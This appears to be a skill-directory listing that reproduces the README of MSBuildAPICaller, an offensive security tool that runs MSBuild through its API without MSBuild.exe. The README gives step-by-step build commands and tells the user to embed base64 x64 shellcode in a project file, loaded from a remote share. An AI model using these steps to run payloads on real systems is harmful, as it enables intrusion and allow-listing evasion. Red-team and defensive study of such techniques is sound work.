SkillAgentSearch skills...

MSBuildAPICaller

MSBuild Without MSBuild.exe

Install / Use

/learn @rvrsh3ll/MSBuildAPICaller
About this skill

Quality Score

0/100

Supported Platforms

Universal

README

An updated version of this project resides at https://github.com/rvrsh3ll/NoMSBuild

MSBuildAPICaller

MSBuild Without MSBuild.exe

How to build and execute

Step 1: Build IEShim.cs

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.Tasks.v4.0.dll";"Microsoft.Build.Utilities.v4.0.dll" /target:library IEShim.cs

Step 2: Modify "projectPath" variable on line 60 of msbuildapicaller.cs to your needs

Example: string projectPath = '\\192.168.1.100\share\msbuildapicaller.csproj';

Step 3: Replace <Base64 Encoded x64 Shellcode> with your base64 encoded x64 shellcode in msbuildapicaller.csproj

Step 4: Replace AssemblyFile variable with the location of your compiled dll from step 1

Step 5: Build msbuildapicaller.cs

C:\Windows\Microsoft.Net\Framework\v4.0.30319\csc.exe /reference:"Microsoft.Build.Framework.dll";"Microsoft.Build.dll";"Microsoft.Build.Engine.dll";"Microsoft.Build.Utilities.v4.0.dll";"System.Runtime.dll" /target:exe msbuildapicaller.cs

Step 6: Execute msbuildapicaller.exe

View on GitHub
GitHub Stars155
CategoryDevelopment
Updated2mo ago
Forks46

Languages

C#

Security Score

95/100

Audited on Jan 9, 2026

No findings